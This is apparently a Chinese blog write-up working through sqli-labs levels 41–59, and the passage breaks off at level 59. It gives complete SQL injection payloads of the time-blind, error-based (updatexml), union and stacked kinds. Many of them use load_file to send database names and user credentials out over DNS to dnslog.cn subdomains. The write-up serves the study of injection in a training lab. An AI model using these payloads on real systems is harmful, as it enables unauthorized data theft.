当前位置: 首页 > news >正文

SQL注入实操三(SQLilabs Less41-65)

文章目录

  • 一、sqli-labs靶场
    • 1.轮子模式总结
    • 2.Less-41 stacked Query Intiger type blind
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.堆叠注入
      • e.堆叠注入+外带注入获取表名
      • f.堆叠注入+外带注入获取列名
      • g.堆叠注入+外带注入获取表内数据
    • 3.Less-42 Stacked Query error based
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
      • g.联合注入获取数据库名
      • h.联合注入获取表名
      • i.联合注入获取列名
      • j.联合注入获取表内数据
      • k.堆叠注入获取数据库名称
    • 4.Less-43
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
      • g.联合注入+堆叠注入+外带注入获取数据库名称
      • h.联合注入+堆叠注入+外带注入获取表名称
      • i.联合注入+堆叠注入+外带注入获取列名称
      • j.联合注入+堆叠注入+外带注入获取表内数据
    • 5.Less-44
      • a.注入点判断
      • b.获取数据库名称
      • c.获取表名
      • d.获取列名
      • e.获取表内数据
    • 6.Less-45
      • a.获取数据库名称
      • b.获取表名
      • c.获取列名
      • d.获取表内数据
    • 7.Less-46
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 8.Less-47
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 9.Less-48
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 10.Less-49
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 11.Less-50
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 12.Less-51
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 13.Less-52
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 14.Less-53
      • a.获取数据库名称
      • b.获取表名
      • c.获取列名
      • d.获取表内数据
    • 15.Less-54
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 16.Less-55
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 17.Less-56
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 18.Less-57
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 19.Less-58
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 20.Less-59
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 21.Less-60
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 22.Less-61
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
      • 23.Less-62
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 24.Less-63
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 25.Less-64
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
    • 26.Less-65
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表名
      • e.获取列名
      • f.获取表内数据
  • 三、笔记
  • 四、信息收集常用端口
  • 五、常用测试xss
  • 六、SQL注入万能密码
  • 七、本次攻防演练中得到的几点经验

一、sqli-labs靶场

1.轮子模式总结

到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
⑧ ‘) and 1 and (’
⑨ ‘||1||’
⑩ ‘#或‘–+
⑪ 1’) anandd (if(1=1, sleep(1), 1)) anandd('1

2.Less-41 stacked Query Intiger type blind

a.注入点判断

发现除了输入正确的id值有显示,其他输入都没有显示
怀疑存在时间盲注
输入3 and sleep(1)试下
在这里插入图片描述

延迟1秒
输入3 and if(1=1, sleep(1),0)试下
在这里插入图片描述

还是延迟1秒
输入3 and if(1=2, sleep(1),0)
在这里插入图片描述

没有延迟
证明存在时间盲注点

b.轮子测试

轮子就是3 and if(1,sleep(1), 0)

c.获取数据库名称

测试长度
3 and if(length(database())=8,sleep(1), 0)
在这里插入图片描述

说明长度是8
爆破字母
3 and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

接下来我们直接使用堆叠注入,后面的内容略过

d.堆叠注入

3 and if(length(database())=8,sleep(1), 0);
首先查看状态
show variables like ‘%general%’;
在这里插入图片描述

使用堆叠注入修改设置
3 and if(length(database())=8,sleep(1), 0);set global general_log = on;
在这里插入图片描述在这里插入图片描述

修改成功
接下来我打算使用堆叠注入+外地注入获得更多信息

e.堆叠注入+外带注入获取表名

3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit2,1),‘.6bub0w.dnslog.cn\abc’));#
在这里插入图片描述在这里插入图片描述

说明可以通过堆叠注入获取列名
只是外带注入一次只能获取一个值,也不能使用group_concat

f.堆叠注入+外带注入获取列名

3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.6bub0w.dnslog.cn\abc’));#
在这里插入图片描述在这里插入图片描述

g.堆叠注入+外带注入获取表内数据

3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select username from users where id = 8),‘.6bub0w.dnslog.cn\abc’));select load_file(concat(‘\\’,(select password from users where id = 8),‘.6bub0w.dnslog.cn\abc’));#
虽然说堆叠语句只能一个个获取数据,但是我发现它可以这样用,再加一条语句,再加一条,那样也相当于可以获取多个数据了
在这里插入图片描述在这里插入图片描述

发现没有都出来了,而且这个方法也省去了测试长度爆破的麻烦,一次性获取数据

3.Less-42 Stacked Query error based

在这里插入图片描述

又是二次注入?不是
在这里插入图片描述

因为创建用户名的入口被限制了,那只能老老实实找注入点了

a.注入点判断

发现注入点在主界面密码框
在这里插入图片描述

触发条件是单数单引号

b.轮子测试

通过报错我们开始构造轮子
报错说明id是 “id’ ‘,即有两层单引号
输入2’ and 1’ --+:near ‘’’ at line 1
输入2’and1–+:near ‘and1–+’’ at line 1
输入2’) and 1:near ‘) and 1’’ at line 1
两个引号怎么闭合不了呢

c.获取数据库名称

2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
在这里插入图片描述

终于出现了,那么轮子就是
2’ and 1 and ’
由此也可以得到一个经验,看引号判断需要几个and

d.获取表名

2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
在这里插入图片描述

e.获取列名

2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
在这里插入图片描述

f.获取表内数据

2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
在这里插入图片描述

另外发现这里居然还可以用联合注入

g.联合注入获取数据库名

2’ union select 1,2,3 and’
没有报错,居然进去了
在这里插入图片描述

改成 2’ union select 1,database(),2 and’
在这里插入图片描述

直接拿到数据库名了

h.联合注入获取表名

2’ union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2 and’
在这里插入图片描述

i.联合注入获取列名

2’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),2 and’
在这里插入图片描述

j.联合注入获取表内数据

2’ union select 1,(select group_concat(username,‘:’, password) from users),2 and’
在这里插入图片描述

2’ union select 1,(select group_concat(username,‘:’, password) from users where id=4),2 and’
在这里插入图片描述

k.堆叠注入获取数据库名称

1’;select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and ';#

在这里插入图片描述

4.Less-43

a.注入点判断

还是密码框存在报错注入,输入1’报
near ‘‘1’’)’ at line 1
猜测应该是’(‘‘id’’)‘,所以轮子应该类似
2’) and 1 and (’

b.轮子测试

输入2’) and 1 and ('没有报错,估计轮子可用
在这里插入图片描述

c.获取数据库名称

2’) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and (’
在这里插入图片描述

d.获取表名

2’) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and (’
在这里插入图片描述

e.获取列名

2’) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and (’
在这里插入图片描述

f.获取表内数据

2’) and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and (’
在这里插入图片描述

g.联合注入+堆叠注入+外带注入获取数据库名称

奇怪了,这里使用堆叠注入为啥拿不到数据呢
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’));
失败
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);set global general_log = on;#
失败
1’);select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and (';#
在这里插入图片描述

分析后发现原因可能是前面的报错注入影响了后面的堆叠注入了,因为把前面的报错注入去除就正常了,这也给了我一个教训,不能贪多
但是用联合注入加堆叠注入又可以,说明就是报错注入引起的
2’) union select 1,database(),2;select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’)) ;#
在这里插入图片描述在这里插入图片描述

h.联合注入+堆叠注入+外带注入获取表名称

2’) union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.igqu2e.dnslog.cn\abc’)) ;#

在这里插入图片描述在这里插入图片描述

记住外带注入里不要用group_concat,要用limit去指定取哪行

i.联合注入+堆叠注入+外带注入获取列名称

2’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database()),2;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.igqu2e.dnslog.cn\abc’)) ;#

在这里插入图片描述在这里插入图片描述

j.联合注入+堆叠注入+外带注入获取表内数据

2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select username from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#
2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select password from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#

在这里插入图片描述在这里插入图片描述

5.Less-44

这一关没有报错提示了,看来只能用盲注

a.注入点判断

仍然是密码框存在注入

b.获取数据库名称

2’;select load_file(concat(‘\\’,(select database()),‘.ny8562.dnslog.cn\abc’));
在这里插入图片描述

看来这个外带注入还是比较好用,特别是对盲注时,不用再爆破了

c.获取表名

2’;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.ny8562.dnslog.cn\abc’));
一次性拿多条数据了
在这里插入图片描述

d.获取列名

2’;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.ny8562.dnslog.cn\abc’)) ;
在这里插入图片描述

e.获取表内数据

2’;select load_file(concat(‘\\’,(select username from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
2’;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
在这里插入图片描述

6.Less-45

仍然是密码框注入,需要增加括号闭合

a.获取数据库名称

2’);select load_file(concat(‘\\’,(select database()),‘.xchvq5.dnslog.cn\abc’));
在这里插入图片描述

b.获取表名

2’);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.xchvq5.dnslog.cn\abc’));
在这里插入图片描述

c.获取列名

2’);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.xchvq5.dnslog.cn\abc’)) ;
在这里插入图片描述

d.获取表内数据

2’);select load_file(concat(‘\\’,(select username from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;#
在这里插入图片描述

7.Less-46

Please input parameter as SORT with numeric value

a.注入点判断

这关啥意思呢,输啥都看不到结果?
后来才知道需要将参数名设为sort,然后分别输入1,2,3结果都不同,输入4以外报错
在这里插入图片描述

输入单引号报错,但是再输入1个单引号报错不会消失
在这里插入图片描述

b.轮子测试

1 and 1#
输出正常

c.获取数据库名称

1 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) #
在这里插入图片描述

d.获取表名

1 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)#
在这里插入图片描述

e.获取列名

1 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) #
在这里插入图片描述

f.获取表内数据

1 and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e)#
在这里插入图片描述

8.Less-47

a.注入点判断

这一关现在只要不输单引号发现都是这个界面,没有变化了,咋回事
在这里插入图片描述

b.轮子测试

看提示,error base single quote,指的是单引号报错,应该需要闭合
2’ and 1 and '没有错误

c.获取数据库名称

2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
在这里插入图片描述

d.获取表名

2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
在这里插入图片描述

e.获取列名

2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
在这里插入图片描述

f.获取表内数据

2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
在这里插入图片描述

9.Less-48

a.注入点判断

这一关是盲注,只有正常与否两种状态
但是好奇怪,盲注的延迟时间怎么这么久呢
3 and if(1=1,sleep(1),0)#
在这里插入图片描述

b.轮子测试

3 and if(1=2,sleep(1), 1) and (1)#
在这里插入图片描述

有延迟,显示正确

c.获取数据库名称

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’)))#
在这里插入图片描述

外带获取数据库名称,记住不要把外带注入放在if里面

d.获取表名

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’)))#
在这里插入图片描述

e.获取列名

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’)))#
在这里插入图片描述

f.获取表内数据

3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’)))#
在这里插入图片描述

10.Less-49

a.注入点判断

单引号出现盲注

b.轮子测试

3’ and if(1=2,sleep(1), 1) and (1) and '#
显示正常

c.获取数据库名称

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’))) and '#
在这里插入图片描述

d.获取表名

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’))) and '#
在这里插入图片描述

e.获取列名

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’))) and '#
在这里插入图片描述

f.获取表内数据

3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’))) and '#
在这里插入图片描述

11.Less-50

a.注入点判断

加入引号发现有报错提示,直接使用报错注入

b.轮子测试

3 and if(1=1,1,0)
显示正常

c.获取数据库名称

3 and if(1=1,updatexml(1,concat(0x7e,(SELECT+database())),0x7e),0)
在这里插入图片描述

d.获取表名

3 and if(1=1,updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) ,0)
在这里插入图片描述

e.获取列名

3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e),0)
在这里插入图片描述

f.获取表内数据

3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e),0)
在这里插入图片描述

另外发现这里还可以用堆叠注入
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.d4u0mk.dnslog.cn\abc’))
在这里插入图片描述

12.Less-51

a.注入点判断

单引号报错注入

b.轮子测试

2’ and 1 and ’

c.获取数据库名称

2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
在这里插入图片描述

d.获取表名

2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
在这里插入图片描述

e.获取列名

2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
在这里插入图片描述

f.获取表内数据

2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
在这里插入图片描述

13.Less-52

a.注入点判断

这一关只有输入1,2,3才有显示,其他一概不显示,
输入3 and if(1=1,sleep(1),0),有延迟,时间盲注

b.轮子测试

使用堆叠注入
3 and if(1=1,sleep(1),0);1;

c.获取数据库名称

3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));
在这里插入图片描述

d.获取表名

3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.j6fykz.dnslog.cn\abc’));
在这里插入图片描述

e.获取列名

3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.j6fykz.dnslog.cn\abc’));
在这里插入图片描述

f.获取表内数据

3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select password from users where id=4 ),‘.j6fykz.dnslog.cn\abc’));
在这里插入图片描述

14.Less-53

这一关和上一关的区别是需要加单引号注入

a.获取数据库名称

3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));
在这里插入图片描述

b.获取表名

3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database()%20 limit 3,1),‘.j6fykz.dnslog.cn\abc’));
在这里插入图片描述

c.获取列名

3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.j6fykz.dnslog.cn\abc’));
在这里插入图片描述

d.获取表内数据

3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select password from users where id=4 ),‘.j6fykz.dnslog.cn\abc’));
在这里插入图片描述

15.Less-54

a.注入点判断

54关又不一样了
在这里插入图片描述

意思是它会给你10次试错机会,10次还是失败的话重置所有随机数据
首先url输入id
在这里插入图片描述

然后输入key,每次报错都会累加已尝试的次数
但是怎么看不到报错呢,是在url里注入吗,id里发现加单引号不显示,再加又有显示,说明存在盲注

b.轮子测试

那么轮子怎么构造呢,对,那就不用管下面那个输入框了,直接url注入就行了
1’ and if(1=1,sleep(1),0) and (1)–+
在这里插入图片描述

延迟1秒,说明正确

c.获取数据库名称

1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.lx01qu.dnslog.cn\abc’)))–+
在这里插入图片描述

数据库名称是challanges

d.获取表名

1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.lx01qu.dnslog.cn\abc’)))–+
在这里插入图片描述

看来只有一个表

e.获取列名

1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.63lr5q.dnslog.cn\abc’)))–+
在这里插入图片描述

实际表格如下
在这里插入图片描述

f.获取表内数据

首先需要先获取表名和列名,然后带入才能获取数据
vamnq7byet
secret_VEKS
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_VEKS from vamnq7byet where id=1 ),‘.63lr5q.dnslog.cn\abc’)))–+
在这里插入图片描述

下面的输入框输入Sn04znQcZJNl6L0tADgOhcRS提示正确
在这里插入图片描述

英文表示:祝贺你成功了

16.Less-55

a.注入点判断

在这里插入图片描述

这次可以试错14次,是难度减低了还是提高了
不管他,先看下怎么注入,发现除了数字其他都不显示,看来要盲注了

b.轮子测试

4 and if(1=1,sleep(1),0) and (1)#
在这里插入图片描述

出现延时,那轮子应该就是它了

c.获取数据库名称

4 and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.leccsl.dnslog.cn\abc’)))#
单独运行select有数据,但是为啥界面没结果呢
在这里插入图片描述

大概是语句哪里还是不对吧,重新构造轮子

  1. and if(1=1,1,0) and (1)–+
    在这里插入图片描述

嗯这里有显示才能用,之前的轮子没显示,难怪怎么都没反应,所以记住了,以后构造的轮子一定要显示结果才行
1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select database()),‘.f1xl21.dnslog.cn\abc’)))–+
在这里插入图片描述

d.获取表名

1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.f1xl21.dnslog.cn\abc’)))–+
在这里插入图片描述

uhf25xqo3t

e.获取列名

1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.f1xl21.dnslog.cn\abc’)))–+
在这里插入图片描述

secret_WUAZ

f.获取表内数据

  1. and if(1=1,1,0) and (select load_file(concat(‘\\’,(select secret_WUAZ from uhf25xqo3t where id=1),‘.f1xl21.dnslog.cn\abc’)))–+
    在这里插入图片描述

记住,sql语句里不要插入回车符
d7oT09Des0BDFr51bmmpn0Gv
输入这串数字成功过关
在这里插入图片描述

17.Less-56

a.注入点判断

还是这种题,看来后面都是这种类型的,单引号盲注报错注入

b.轮子测试

4’) and (1) --+
正常输出,记住了,像这样才是对的
在这里插入图片描述

c.获取数据库名称

4’) and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+
在这里插入图片描述

d.获取表名

4’) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.6oq86c.dnslog.cn\abc’))) --+
在这里插入图片描述

9q15lsxx4o

e.获取列名

4’) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.6oq86c.dnslog.cn\abc’))) --+
在这里插入图片描述

secret_F62S

f.获取表内数据

4’) and (select load_file(concat(‘\\’,(select secret_F62S from 9q15lsxx4o where id=1),‘.6oq86c.dnslog.cn\abc’))) --+
在这里插入图片描述在这里插入图片描述

MRS84WI5bRz1wUEPRjwkOTNN

18.Less-57

a.注入点判断

双引号注入,没什么好说的

b.轮子测试

4" and (1)–+

c.获取数据库名称

4" and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+
在这里插入图片描述

d.获取表名

4" and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.6oq86c.dnslog.cn\abc’)))–+
在这里插入图片描述

kxkae71r4p

e.获取列名

4" and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.6oq86c.dnslog.cn\abc’)))–+
在这里插入图片描述

secret_R3DQ

f.获取表内数据

4" and (select load_file(concat(‘\\’,(select secret_R3DQ from kxkae71r4p where id=1),‘.6oq86c.dnslog.cn\abc’)))–+
在这里插入图片描述

qCPyRxfEqRmVzBQYyVQ5Y3h9

19.Less-58

a.注入点判断

在这里插入图片描述

终于出现报错注入了

b.轮子测试

2’ and (1) --+

c.获取数据库名称

2’ and (updatexml(1,concat(0x7e,(SELECT+database())),0x7e)) --+
在这里插入图片描述

d.获取表名

2’ and (updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)) --+
在这里插入图片描述

k9e8a7yl0f

e.获取列名

2’ and (updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)) --+
在这里插入图片描述

secret_58RO

f.获取表内数据

2’ and (updatexml(1, concat(0x7e,(select secret_58RO from k9e8a7yl0f where id = 1),0x7e), 0x7e)) --+
在这里插入图片描述

Vd6Sg7IYEnmoKrdsx3u74wAa
在这里插入图片描述

20.Less-59

a.注入点判断

报错注入,不用加引号啥的

b.轮子测试

2 and 1 --+

c.获取数据库名称

2 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e)–+
在这里插入图片描述

d.获取表名

2 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
在这里插入图片描述

qi7pnhikpv

e.获取列名

